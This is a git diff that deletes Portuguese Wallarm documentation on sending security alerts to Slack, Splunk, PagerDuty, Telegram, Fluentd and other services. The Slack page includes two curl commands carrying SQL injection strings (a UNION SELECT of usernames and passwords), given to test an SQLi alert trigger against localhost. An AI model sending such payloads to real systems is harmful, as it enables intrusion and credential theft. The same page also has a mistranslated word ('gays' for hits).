webhook). -1. Se necessário, configure as configurações avançadas: - - --8<-- "../include-pt-BR/integrations/webhook-advanced-settings.md" -1. Escolha tipos de eventos para disparar notificações. - - ![Integração Logstash](../../../images/user-guides/settings/integrations/add-logstash-integration.png) - - Detalhes sobre os eventos disponíveis: - - --8<-- "../include-pt-BR/integrations/advanced-events-for-integrations.md" - -1. Clique em **Testar integração** para verificar a correção da configuração, a disponibilidade do Cloud Wallarm e o formato da notificação. - - O log de teste do Logstash: - - ```json - [ - { - summary:"[Mensagem de teste] [Parceiro de teste (EUA)] Nova vulnerabilidade detectada", - description:"Tipo de notificação: vuln - - Uma nova vulnerabilidade foi detectada no seu sistema. - - ID: - Título: Teste - Domínio: exemplo.com - Caminho: - Método: - Descoberta por: - Parâmetro: - Tipo: Info - Ameaça: Média - - Mais detalhes: https://us1.my.wallarm.com/object/555 - - - Cliente: TestCompany - Nuvem: EUA - ", - details:{ - client_name:"TestCompany", - cloud:"EUA", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"exemplo.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Teste", - discovered_by:null, - threat:"Média", - type:"Info" - } - } - } - ] - ``` - -1. Clique em **Adicionar integração**. - -## Configurando alertas adicionais - ---8<-- "../include-pt-BR/integrations/integrations-trigger-setup.md" - -## Usando Logstash como coletor intermediário de dados - ---8<-- "../include-pt-BR/integrations/webhook-examples/overview.md" - -Por exemplo: - -![Fluxo do Webhook](../../../images/user-guides/settings/integrations/webhook-examples/logstash/qradar-scheme.png) - -Para registrar eventos do Wallarm usando este esquema: - -1. Configure o coletor de dados para ler os webhooks de entrada e encaminhar os logs para o próximo sistema. Wallarm envia eventos aos coletores de dados via webhooks. -1. Configure um sistema SIEM para obter e ler logs do coletor de dados. -1. Configure o Wallarm para enviar logs para o coletor de dados. - - Wallarm pode enviar logs a qualquer coletor de dados via webhooks. - - Para integrar o Wallarm com Fluentd ou Logstash, você pode utilizar os respectivos cartões de integração na interface de usuário do Console Wallarm. - - Para integrar Wallarm com outros coletores de dados, você pode utilizar o [cartão de integração de webhook](webhook.md) na interface de usuário do Console Wallarm. - -Descrevemos alguns exemplos de como configurar a integração com os coletores de dados populares que encaminham logs para os sistemas SIEM: - -* [Wallarm → Logstash → IBM QRadar](webhook-examples/logstash-qradar.md) -* [Wallarm → Logstash → Splunk Enterprise](webhook-examples/logstash-splunk.md) -* [Wallarm → Logstash → Micro Focus ArcSight Logger](webhook-examples/logstash-arcsight-logger.md) -* [Wallarm → Logstash → Datadog](webhook-examples/fluentd-logstash-datadog.md) - - Wallarm também suporta a [integração nativa com Datadog via API Datadog](datadog.md). A integração nativa não requer o uso do coletor de dados intermediário. - -## Desativando e excluindo uma integração - ---8<-- "../include-pt-BR/integrations/integrations-disable-delete.md" diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/microsoft-teams.md b/docs/latest-pt-BR/user-guides/settings/integrations/microsoft-teams.md deleted file mode 100644 index 5833b203da..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/microsoft-teams.md +++ /dev/null @@ -1,48 +0,0 @@ -# Microsoft Teams - -Você pode configurar o Wallarm para enviar notificações para o(s) seu(s) canal(is) da Microsoft Teams. Se quiser enviar notificações para vários canais diferentes, crie várias integrações da Microsoft Teams. - -## Configurando a integração - -1. Abra a seção **Integrações**. -1. Clique no bloco **Microsoft Teams** ou clique no botão **Adicionar integração** e escolha **Microsoft Teams**. -1. Insira um nome para a integração. -1. Abra as configurações do canal da Microsoft Teams onde deseja postar notificações e configure um novo Webhook usando as [instruções](https://docs.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/add-incoming-webhook). -1. Copie a URL do Webhook fornecida e cole o valor no campo **URL do Webhook** no Console Wallarm. -1. Escolha os tipos de eventos para acionar notificações. - - ![Integração MS Teams](../../../images/user-guides/settings/integrations/add-ms-teams-integration.png) - - Detalhes sobre os eventos disponíveis: - - --8<-- "../include-pt-BR/integrations/events-for-integrations.md" - -1. Clique em **Testar integração** para verificar a correção da configuração, a disponibilidade do Wallarm Cloud e o formato da notificação. - - Isso enviará as notificações de teste com o prefixo `[Mensagem de teste]`: - - ``` - [Mensagem de teste] [Parceiro de teste] O perímetro da rede foi alterado - - Tipo de notificação: new_scope_object_ips - - Novos endereços IP foram descobertos no perímetro da rede: - 8.8.8.8 - - Cliente: TestCompany - Cloud: EU - ``` - -1. Clique em **Adicionar integração**. - -## Configurando alertas adicionais - ---8<-- "../include-pt-BR/integrations/integrations-trigger-setup-limited.md" - -## Desativando e excluindo uma integração - ---8<-- "../include-pt-BR/integrations/integrations-disable-delete.md" - -## Indisponibilidade do sistema e parâmetros de integração incorretos - ---8<-- "../include-pt-BR/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/opsgenie.md b/docs/latest-pt-BR/user-guides/settings/integrations/opsgenie.md deleted file mode 100644 index 8e61180b97..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/opsgenie.md +++ /dev/null @@ -1,47 +0,0 @@ -# Opsgenie - -Você pode configurar o Wallarm para enviar alertas para o Opsgenie. - -## Configurando a integração - -No [UI do Opsgenie](https://app.opsgenie.com/teams/list): - -1. Vá para sua equipe ➝ **Integrações**. -2. Clique no botão **Adicionar integração** e escolha **API**. -3. Insira o nome para uma nova integração e clique em **Salvar Integração**. -4. Copie a chave API fornecida. - -No UI do Wallarm: - -1. Abra a seção **Integrações**. -2. Clique no bloco **Opsgenie** ou clique no botão **Adicionar integração** e escolha **Opsgenie**. -3. Insira um nome de integração. -4. Cole a chave API copiada no campo **Chave API**. -5. Se estiver usando a [instância EU](https://docs.opsgenie.com/docs/european-service-region) do Opsgenie, selecione o endpoint da API do Opsgenie apropriado da lista. Por padrão, o endpoint da instância dos EUA está definido. -6. Escolha os tipos de eventos para disparar notificações. - - ![Integração Opsgenie](../../../images/user-guides/settings/integrations/add-opsgenie-integration.png) - - Detalhes sobre eventos disponíveis: - - --8<-- "../include-pt-BR/integrations/events-for-integrations.md" - -7. Clique em **Testar integração** para verificar a correção da configuração, a disponibilidade do Wallarm Cloud e o formato da notificação. - - Isso enviará as notificações de teste com o prefixo `[Mensagem de teste]`: - - ![Testar mensagem Opsgenie](../../../images/user-guides/settings/integrations/test-opsgenie-new-vuln.png) - -8. Clique em **Adicionar integração**. - -## Configurando alertas adicionais - ---8<-- "../include-pt-BR/integrations/integrations-trigger-setup.md" - -## Desativando e excluindo uma integração - ---8<-- "../include-pt-BR/integrations/integrations-disable-delete.md" - -## Indisponibilidade do sistema e parâmetros de integração incorretos - ---8<-- "../include-pt-BR/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/pagerduty.md b/docs/latest-pt-BR/user-guides/settings/integrations/pagerduty.md deleted file mode 100644 index e47606084f..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/pagerduty.md +++ /dev/null @@ -1,57 +0,0 @@ -[link-pagerduty-docs]: https://support.pagerduty.com/docs/services-and-integrations - -# PagerDuty - -Você pode configurar o Wallarm para enviar incidentes ao PagerDuty. - -## Configurando a integração - -No UI do PagerDuty, [configure uma integração][link-pagerduty-docs] para qualquer serviço existente ou crie um novo serviço especificamente para o Wallarm: - -1. Vá para **Configuration** → **Services**. -2. Abra as configurações do serviço existente ou clique no botão **New Service**. -3. Crie uma nova integração: - - * Se você estiver configurando integrações do serviço existente, vá para a guia **Integrations** e clique no botão **New Integration**. - * Se você estiver criando um novo serviço, insira o nome do serviço e prossiga para a seção **Integration Settings**. -4. Insira o nome da integração e selecione a opção **Use our API directly** como um tipo de integração. -5. Salve as configurações: - - * Se você estiver configurando integrações do serviço existente, clique no botão **Add Integration**. - * Se você estiver criando um novo serviço, configure o restante das seções de configurações e clique no botão **Add Service**. - -5. Copie a **Integration Key** fornecida. - -No UI do Wallarm: - -1. Abra a seção **Integrations**. -1. Clique no bloco **PagerDuty** ou clique no botão **Add integration** e escolha **PagerDuty**. -1. Insira um nome para a integração. -1. Cole o valor da **Integration Key** no campo apropriado. -1. Escolha os tipos de eventos para acionar notificações. - - ![Integração PagerDuty](../../../images/user-guides/settings/integrations/add-pagerduty-integration.png) - - Detalhes sobre eventos disponíveis: - - --8<-- "../include-pt-BR/integrations/events-for-integrations.md" - -1. Clique em **Test integration** para verificar a correção das configurações, a disponibilidade do Wallarm Cloud e o formato de notificação. - - Isso enviará as notificações de teste com o prefixo `[Test message]`: - - ![Notificação de teste do PagerDuty](../../../images/user-guides/settings/integrations/test-pagerduty-scope-changed.png) - -1. Clique em **Add integration**. - -## Configurando alertas adicionais - ---8<-- "../include-pt-BR/integrations/integrations-trigger-setup.md" - -## Desabilitando e excluindo uma integração - ---8<-- "../include-pt-BR/integrations/integrations-disable-delete.md" - -## Indisponibilidade do sistema e parâmetros incorretos de integração - ---8<-- "../include-pt-BR/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/servicenow.md b/docs/latest-pt-BR/user-guides/settings/integrations/servicenow.md deleted file mode 100644 index b4a38c05a5..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/servicenow.md +++ /dev/null @@ -1,44 +0,0 @@ -# ServiceNow - -Você pode configurar o Wallarm para criar tickets de problemas no [ServiceNow](https://www.servicenow.com/). - -## Requisitos - -ServiceNow é uma plataforma para ajudar as empresas a gerenciar fluxos de trabalho digitais para operações empresariais. Sua empresa precisa de uma instância do ServiceNow de propriedade e aplicativos de fluxo de trabalho [construídos dentro dela](https://www.servicenow.com/lpdem/demonow-cloud-platform-app-dev.html) para integrar esses aplicativos com o Wallarm. - -## Configurando a integração - -No UI do ServiceNow: - -1. Obtenha o nome da sua [instância do ServiceNow](https://docs.servicenow.com/bundle/tokyo-application-development/page/build/team-development/concept/c_InstanceHierarchies.html). -1. Obtenha o nome de usuário e a senha para acessar a instância. -1. Ative a autenticação OAuth e obtenha o ID do cliente e o segredo conforme descrito [aqui](https://docs.servicenow.com/bundle/tokyo-application-development/page/integrate/inbound-rest/task/t_EnableOAuthWithREST.html). - -No UI do Wallarm: - -1. Abra o Console Wallarm → **Integrações** → **ServiceNow**. -1. Insira um nome de integração. -1. Insira o nome da instância do ServiceNow. -1. Insira o nome de usuário e a senha para acessar a instância especificada. -1. Insira os dados de autenticação OAuth: ID do cliente e segredo. -1. Escolha tipos de eventos para acionar notificações. - - ![Integração ServiceNow](../../../images/user-guides/settings/integrations/add-servicenow-integration.png - - Detalhes sobre eventos disponíveis: - - --8<-- "../include-pt-BR/integrations/events-for-integrations.md" - -1. Clique em **Testar integração** para verificar a correção da configuração, a disponibilidade do Wallarm Cloud e o formato da notificação. - - Isso enviará as notificações de teste com o prefixo `[Mensagem de teste]`. - -1. Clique em **Adicionar integração**. - -## Desativando e excluindo uma integração - ---8<-- "../include-pt-BR/integrations/integrations-disable-delete.md" - -## Indisponibilidade do sistema e parâmetros de integração incorretos - ---8<-- "../include-pt-BR/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/slack.md b/docs/latest-pt-BR/user-guides/settings/integrations/slack.md deleted file mode 100644 index 52a6b7f404..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/slack.md +++ /dev/null @@ -1,121 +0,0 @@ -# Slack - -Você pode configurar o Wallarm para enviar notificações para seu(s) canal(s) Slack. Se você deseja enviar notificações para vários canais ou contas Slack diferentes, crie várias integrações Slack. - -## Configurando a integração - -1. Abra a seção **Integrações**. -1. Clique no bloco **Slack** ou clique no botão **Adicionar integração** e escolha **Slack**. -1. Insira um nome para a integração. -1. Abra as [Configurações de Webhook no Slack](https://my.slack.com/services/incoming-webhook/) e adicione um novo Webhook escolhendo o canal para postar mensagens. -1. Copie a URL do Webhook fornecida e cole o valor no campo **URL do Webhook** na interface do usuário do Wallarm. -1. Escolha tipos de eventos para acionar notificações. - - ![Integração Slack](../../../images/user-guides/settings/integrations/add-slack-integration.png) - - Detalhes sobre eventos disponíveis: - - --8<-- "../include-pt-BR/integrations/events-for-integrations.md" - -1. Clique em **Testar integração** para verificar a correção da configuração, disponibilidade do Wallarm Cloud e o formato da notificação. - - Isso enviará as notificações de teste com o prefixo `[Mensagem de teste]`: - - ``` - [Mensagem de teste] [Parceiro de teste] Perímetro de rede mudou - - Tipo de notificação: new_scope_object_ips - - Novos endereços IP foram descobertos no perímetro da rede: - 8.8.8.8 - - Cliente: EmpresaTeste - Nuvem: EU - ``` - -1. Clique em **Adicionar integração**. - -## Configurando alertas adicionais - ---8<-- "../include-pt-BR/integrations/integrations-trigger-setup.md" - -### Exemplo: Notificação Slack se 2 ou mais gays SQLi forem detectados em um minuto - -Se 2 ou mais [hits](../../../glossary-en.md#hit) SQLi forem enviados para o recurso protegido, uma notificação sobre esse evento será enviada para o canal Slack. - -![Exemplo de um gatilho enviando a notificação para Slack](../../../images/user-guides/triggers/trigger-example1.png) - -**Para testar o gatilho:** - -Envie as seguintes solicitações para o recurso protegido: - -```bash -curl 'http://localhost/?id=1%27%20UNION%20SELECT%20username,%20password%20FROM%20users--' -curl 'http://localhost/?id=1%27%20select%20version();' -``` -Abra o canal Slack e verifique que a seguinte notificação do usuário **wallarm** foi recebida: - -``` -[Wallarm] Gatilho: O número de hits detectados excedeu o limite - -Tipo de notificação: attacks_exceeded - -O número de hits detectados excedeu 1 em 1 minuto. -Esta notificação foi acionada pelo gatilho "Notificação sobre hits SQLi". - -Cláusulas adicionais de gatilho: -Tipo de ataque: SQLi. - -Veja eventos: -https://my.wallarm.com/attacks?q=attacks&time_from=XXXXXXXXXX&time_to=XXXXXXXXXX - -Cliente: EmpresaTeste -Nuvem: EU -``` - -* `Notificação sobre hits SQLi` é o nome do gatilho -* `EmpresaTeste` é o nome da conta da sua empresa no Console Wallarm -* `EU` é a Nuvem Wallarm onde a conta da sua empresa está registrada - -### Exemplo: Notificação Slack e por e-mail se um novo usuário for adicionado à conta - -Se um novo usuário com a função **Administrador** ou **Analista** for adicionado à conta da empresa no Console Wallarm, a notificação sobre esse evento será enviada para o endereço de e-mail especificado na integração e para o canal Slack. - -![Exemplo de um gatilho enviando a notificação para Slack e por e-mail](../../../images/user-guides/triggers/trigger-example2.png) - -**Para testar o gatilho:** - -1. Abra o Console Wallarm → **Configurações** → **Usuários** e adicione um novo usuário. Por exemplo: - - ![Usuário adicionado](../../../images/user-guides/settings/integrations/webhook-examples/adding-user.png) -2. Abra sua caixa de entrada de e-mail e verifique se a seguinte mensagem foi recebida: - - ![E-mail sobre novo usuário adicionado](../../../images/user-guides/triggers/test-new-user-email-message.png) -3. Abra o canal Slack e verifique se a seguinte notificação do usuário **wallarm** foi recebida: - - ``` - [Wallarm] Gatilho: Novo usuário foi adicionado à conta da empresa - - Tipo de notificação: create_user - - Um novo usuário John Smith com a função Analyst foi adicionado à conta da empresa por John Doe . - Esta notificação foi acionada pelo gatilho "Usuário adicionado". - - Cliente: EmpresaTeste - Nuvem: EU - ``` - - * `John Smith` e `johnsmith@example.com` são informações sobre o usuário adicionado - * `Analyst` é a função do usuário adicionado - * `John Doe` e `johndoe@example.com` são informações sobre o usuário que adicionou um novo usuário - * `Usuário adicionado` é o nome do gatilho - * `EmpresaTeste` é o nome da conta da sua empresa no Console Wallarm - * `EU` é a Nuvem Wallarm onde a conta da sua empresa está registrada - -## Desativando e excluindo uma integração - ---8<-- "../include-pt-BR/integrations/integrations-disable-delete.md" - -## Indisponibilidade do sistema e parâmetros incorretos de integração - ---8<-- "../include-pt-BR/integrations/integration-not-working.md" diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/splunk.md b/docs/latest-pt-BR/user-guides/settings/integrations/splunk.md deleted file mode 100644 index 5dd793699d..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/splunk.md +++ /dev/null @@ -1,98 +0,0 @@ -[splunk-dashboard-by-wallarm-img]: ../../../images/user-guides/settings/integrations/splunk-dashboard-by-wallarm.png - -# Splunk - -Você pode configurar o Wallarm para enviar alertas para o Splunk. - -## Configurando a integração - -Na interface do usuário do Splunk: - -1. Abra **Configurações** ➝ **Adicionar Dados** ➝ **Monitorar**. -2. Selecione a opção **HTTP Event Collector**, insira um nome para a integração e clique em **Próximo**. -3. Pule a escolha do tipo de dados na página de **Configurações de entrada** e continue em **Rever Configurações**. -4. Revise e **Envie** as configurações. -5. Copie o token fornecido. - -Na interface do usuário do Wallarm: - -1. Abra a seção **Integrações**. -1. Clique no bloco **Splunk** ou clique no botão **Adicionar integração** e escolha **Splunk**. -1. Insira um nome para a integração. -1. Cole o token copiado no campo **Token HEC**. -1. Cole o URI do HEC e o número da porta de sua instância Splunk no campo **HEC URI:PORT**. Por exemplo: `https://hec.splunk.com:8088`. -1. Selecione os tipos de eventos para acionar notificações. - - ![Integração Splunk](../../../images/user-guides/settings/integrations/add-splunk-integration.png) - - Detalhes sobre eventos disponíveis: - - --8<-- "../include-pt-BR/integrations/advanced-events-for-integrations.md" - -1. Clique em **Testar integração** para verificar a correção da configuração, a disponibilidade da Cloud Wallarm e o formato de notificação. - - Teste de notificação Splunk no formato JSON: - - ```json - { - summary:"[Mensagem de teste] [Parceiro de teste(EUA)] Nova vulnerabilidade detectada", - description:"Tipo de notificação: vuln - - Uma nova vulnerabilidade foi detectada no seu sistema. - - ID: - Título: Teste - Domínio: exemplo.com - Caminho: - Método: - Descoberto por: - Parâmetro: - Tipo: Info - Ameaça: Médio - - Mais detalhes: https://us1.my.wallarm.com/object/555 - - - Cliente: TesteEmpresa - Nuvem: EUA - ", - details:{ - client_name:"TesteEmpresa", - cloud:"EUA", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"exemplo.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Teste", - discovered_by:null, - threat:"Médio", - type:"Info" - } - } - } - ``` - -1. Clique em **Adicionar integração**. - ---8<-- "../include-pt-BR/cloud-ip-by-request.md" - -## Organizando eventos em um painel - ---8<-- "../include-pt-BR/integrations/application-for-splunk.md" - - -## Configurando alertas adicionais - ---8<-- "../include-pt-BR/integrations/integrations-trigger-setup.md" - -## Desativando e excluindo uma integração - ---8<-- "../include-pt-BR/integrations/integrations-disable-delete.md" - -## Indisponibilidade do sistema e parâmetros de integração incorretos - ---8<-- "../include-pt-BR/integrations/integration-not-working.md" diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/sumologic.md b/docs/latest-pt-BR/user-guides/settings/integrations/sumologic.md deleted file mode 100644 index ff0d2cbbd9..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/sumologic.md +++ /dev/null @@ -1,86 +0,0 @@ -# Sumo Logic - -Você pode configurar o Wallarm para enviar mensagens para o Sumo Logic. - -## Configurar a integração - -No Sumo Logic UI: - -1. Configure um Coletor Hospedado seguindo as [instruções](https://help.sumologic.com/03Send-Data/Hosted-Collectors/Configure-a-Hosted-Collector). -2. Configure uma Fonte de Logs & Métricas HTTP seguindo as [instruções](https://help.sumologic.com/03Send-Data/Sources/02Sources-for-Hosted-Collectors/HTTP-Source). -3. Copie o **Endereço da Fonte HTTP (URL)** fornecido. - -No Wallarm UI: - -1. Abra a seção **Integrações**. -2. Clique no bloco **Sumo Logic** ou clique no botão **Adicionar integração** e escolha **Sumo Logic**. -3. Insira um nome para a integração. -4. Cole o valor copiado do Endereço da Fonte HTTP (URL) no campo **Endereço da Fonte HTTP (URL)**. -5. Escolha os tipos de eventos para disparar notificações. - - ![Integração do Sumo Logic](../../../images/user-guides/settings/integrations/add-sumologic-integration.png) - - Detalhes sobre eventos disponíveis: - - --8<-- "../include-pt-BR/integrations/advanced-events-for-integrations.md" - -6. Clique em **Testar integração** para verificar a correção da configuração, a disponibilidade do Wallarm Cloud e o formato da notificação. - - Teste de notificação do Sumo Logic: - - ```json - { - summary:"[Mensagem de teste] [Parceiro de teste(EUA)] nova vulnerabilidade detectada", - description:"Tipo de notificação: vuln - - Uma nova vulnerabilidade foi detectada em seu sistema. - - ID: - Título: Teste - Domínio: exemplo.com - Caminho: - Método: - Descoberto por: - Parâmetro: - Tipo: Info - Ameaça: Médio - - Mais detalhes: https://us1.my.wallarm.com/object/555 - - - Cliente: TestCompany - Cloud: EUA - ", - details:{ - client_name:"TestCompany", - cloud:"EUA", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"exemplo.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Teste", - discovered_by:null, - threat:"Médio", - type:"Info" - } - } - } - ``` - -7. Clique em **Adicionar integração**. - -## Configurando alertas adicionais - ---8<-- "../include-pt-BR/integrations/integrations-trigger-setup.md" - -## Desativando e excluindo uma integração - ---8<-- "../include-pt-BR/integrations/integrations-disable-delete.md" - -## Indisponibilidade do sistema e parâmetros incorretos de integração - ---8<-- "../include-pt-BR/integrations/integration-not-working.md" diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/telegram.md b/docs/latest-pt-BR/user-guides/settings/integrations/telegram.md deleted file mode 100644 index 40f27dda72..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/telegram.md +++ /dev/null @@ -1,57 +0,0 @@ -# Telegram - -Você pode configurar o Wallarm para enviar relatórios agendados e notificações instantâneas para o Telegram. - -Os relatórios agendados podem ser enviados diariamente, semanalmente ou mensalmente. Os relatórios incluem informações detalhadas sobre vulnerabilidades, ataques e incidentes detectados em seu sistema durante o período selecionado. - -As notificações incluem detalhes breves dos eventos disparados. - -## Configurando a integração - -1. Abra a seção **Integrações**. -1. Clique no bloco **Telegram** ou clique no botão **Adicionar integração** e escolha **Telegram**. -1. Adicione [@WallarmUSBot](https://t.me/WallarmUSBot) (se você está usando o Wallarm US Cloud) ou [@WallarmBot](https://t.me/WallarmBot) (se você está usando o Wallarm EU Cloud) ao grupo do Telegram que receberá as notificações do Wallarm e siga o link de autenticação. -1. Após o redirecionamento para a interface de usuário do Wallarm, autentique o bot. -1. Insira um nome para a integração. -1. Escolha a frequência do envio de relatórios de segurança. Se a frequência não for escolhida, então os relatórios não serão enviados. -1. Escolha os tipos de evento para disparar notificações. - - ![Integração do Telegram](../../../images/user-guides/settings/integrations/add-telegram-integration.png) - - Detalhes sobre eventos disponíveis: - - --8<-- "../include-pt-BR/integrations/events-for-integrations.md" - - A integração com o Telegram só pode ser testada se essa integração já estiver criada. - -1. Clique em **Adicionar integração**. -1. Reabra o cartão da integração criada. -1. Clique em **Testar integração** para verificar a corretude da configuração, a disponibilidade do Wallarm Cloud e o formato da notificação. - - Isso enviará as notificações de teste com o prefixo `[Mensagem de teste]`: - - ``` - [Mensagem de teste] [Parceiro de teste] Perímetro de rede alterado - - Tipo de notificação: novos_ips_de_objeto_de_escopo - - Novos endereços IP foram descobertos no perímetro da rede: - 8.8.8.8 - - Cliente: TestCompany - Cloud: EU - ``` - -Você também pode iniciar o chat com [@WallarmUSBot](https://t.me/WallarmUSBot) ou [@WallarmBot](https://t.me/WallarmBot) diretamente. O bot enviará relatórios e notificações também. - -## Configurando alertas adicionais - ---8<-- "../include-pt-BR/integrations/integrations-trigger-setup-limited.md" - -## Desativando e excluindo uma integração - ---8<-- "../include-pt-BR/integrations/integrations-disable-delete.md" - -## Indisponibilidade do sistema e parâmetros de integração incorretos - ---8<-- "../include-pt-BR/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md b/docs/latest-pt-BR/user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md deleted file mode 100644 index b6f54118e1..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md +++ /dev/null @@ -1,118 +0,0 @@ -# Micro Focus ArcSight Logger via Fluentd - -Estas instruções fornecem um exemplo de integração da Wallarm com o coletor de dados Fluentd para o encaminhamento de eventos para o sistema ArcSight Logger. - ---8<-- "../include-pt-BR/integrations/webhook-examples/overview.md" - -![Fluxo de Webhook](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/arcsight-logger-scheme.png) - -!!! informação "Integração com a versão Enterprise do ArcSight ESM" - Para configurar o encaminhamento de logs do Fluentd para a versão Enterprise do ArcSight ESM, recomenda-se configurar o Syslog Connector no lado do ArcSight e, em seguida, encaminhar logs do Fluentd para a porta do conector. Para obter uma descrição mais detalhada dos conectores, baixe o **Guia do Usuário do SmartConnector** da [documentação oficial do ArcSight SmartConnector](https://community.microfocus.com/t5/ArcSight-Connectors/ct-p/ConnectorsDocs). - -## Recursos utilizados - -* [ArcSight Logger 7.1](#arcsight-logger-configuration) com a URL WEB `https://192.168.1.73:443` instalado no CentOS 7.8 -* [Fluentd](#fluentd-configuration) instalado no Debian 11.x (bullseye) e disponível em `https://fluentd-example-domain.com` -* Acesso de administrador ao Wallarm Console no [cloud EU](https://my.wallarm.com) para [configurar a integração Fluentd](#configuration-of-fluentd-integration) - ---8<-- "../include-pt-BR/cloud-ip-by-request.md" - -Como os links para os serviços ArcSight Logger e Fluentd são citados como exemplos, eles não respondem. - -### Configuração do ArcSight Logger - -O ArcSight Logger tem o receptor de logs `Wallarm Fluentd logs` configurado da seguinte maneira: - -* Logs são recebidos via UDP (`Tipo = Receptor UDP`) -* A porta de escuta é `514` -* Os eventos são analisados com o parser syslog -* Outras configurações padrão - -![Configuração do receptor no ArcSight Logger](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/fluentd-setup.png) - -Para obter uma descrição mais detalhada da configuração do receptor, baixe o **Guia de Instalação do Logger** da versão adequada da [documentação oficial do ArcSight Logger](https://community.microfocus.com/t5/Logger-Documentation/ct-p/LoggerDoc). - -### Configuração do Fluentd - -Como a Wallarm envia logs para o coletor de dados intermediário Fluentd via webhooks, a configuração do Fluentd deve atender aos seguintes requisitos: - -* Aceitar as solicitações POST ou PUT -* Aceitar solicitações HTTPS -* Ter URL pública -* Encaminhar logs para ArcSight Logger, este exemplo usa o plugin `remote_syslog` para encaminhar logs - -Fluentd é configurado no arquivo `td-agent.conf`: - -* O processamento de webhook de entrada é configurado na diretiva `source`: - * O tráfego é enviado para a porta 9880 - * O Fluentd está configurado para aceitar apenas conexões HTTPS - * O certificado TLS Fluentd assinado por uma CA de confiança pública está localizado no arquivo `/etc/ssl/certs/fluentd.crt` - * A chave privada para o certificado TLS está localizada no arquivo `/etc/ssl/private/fluentd.key` -* O encaminhamento de logs para ArcSight Logger e a saída de logs são configurados na diretiva `match`: - * Todos os logs de eventos são copiados do Fluentd e encaminhados para o ArcSight Logger no endereço IP `https://192.168.1.73:514` - * Logs são encaminhados do Fluentd para o ArcSight Logger no formato JSON de acordo com o padrão [Syslog](https://en.wikipedia.org/wiki/Syslog) - * A conexão com o ArcSight Logger é estabelecida via UDP - * Os logs Fluentd também são impressos na linha de comando no formato JSON (linhas de código 19-22). A configuração é usada para verificar que eventos são registrados via Fluentd - -```bash linenums="1" - - @type http # plugin de entrada para tráfego HTTP e HTTPS - port 9880 # porta para solicitações de entrada - # configuração para manipulação de conexões - cert_path /etc/ssl/certs/fluentd.crt - private_key_path /etc/ssl/private/fluentd.key - - - - @type copy - - @type remote_syslog # plugin de saída para encaminhar logs do Fluentd via Syslog - host 192.168.1.73 # endereço IP para encaminhar logs para - port 514 # porta para encaminhar logs para - protocol udp # protocolo de conexão - - @type json # formato dos logs encaminhados - - - - @type stdout # plugin de saída para imprimir logs do Fluentd na linha de comando - output_type json # formato dos logs impressos na linha de comando - - -``` - -Uma descrição mais detalhada dos arquivos de configuração está disponível na [documentação oficial do Fluentd](https://docs.fluentd.org/configuration/config-file). - -!!! info "Testando a configuração do Fluentd" - Para verificar que os logs do Fluentd são criados e encaminhados para o ArcSight Logger, a solicitação PUT ou POST pode ser enviada para o Fluentd. - - **Exemplo de solicitação:** - ```curl - curl -X POST 'https://fluentd-example-domain.com' -H "Content-Type: application/json" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **Logs do Fluentd:** - ![Logs no Fluentd](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/arcsight-logger-curl-log.png) - - **Evento no ArcSight Logger:** - ![Logs no ArcSight Logger](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/fluentd-curl-log.png) - -### Configuração da integração Fluentd - ---8<-- "../include-pt-BR/integrations/webhook-examples/create-fluentd-webhook.md" - -![Integração Webhook com Fluentd](../../../../images/user-guides/settings/integrations/add-fluentd-integration.png) - -[Mais detalhes sobre a configuração da integração Fluentd](../fluentd.md) - -## Testando o exemplo - ---8<-- "../include-pt-BR/integrations/webhook-examples/send-test-webhook.md" - -O Fluentd registrará o evento da seguinte maneira: - -![Log do Fluentd sobre o novo usuário](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/arcsight-logger-user-log.png) - -A seguinte entrada será exibida nos eventos do ArcSight Logger: - -![Eventos no Logger ArcSight](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/fluentd-user.png) \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/webhook-examples/fluentd-logstash-datadog.md b/docs/latest-pt-BR/user-guides/settings/integrations/webhook-examples/fluentd-logstash-datadog.md deleted file mode 100644 index 9918276015..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/webhook-examples/fluentd-logstash-datadog.md +++ /dev/null @@ -1,175 +0,0 @@ -# Datadog via Fluentd/Logstash - -Você pode configurar o Wallarm para enviar notificações de eventos detectados para o Datadog através do coletor de dados intermediário Fluentd ou Logstash. - ---8<-- "../include-pt-BR/integrations/webhook-examples/overview.md" - -![Enviando notificações do Wallarm para o Datadog via coletor de 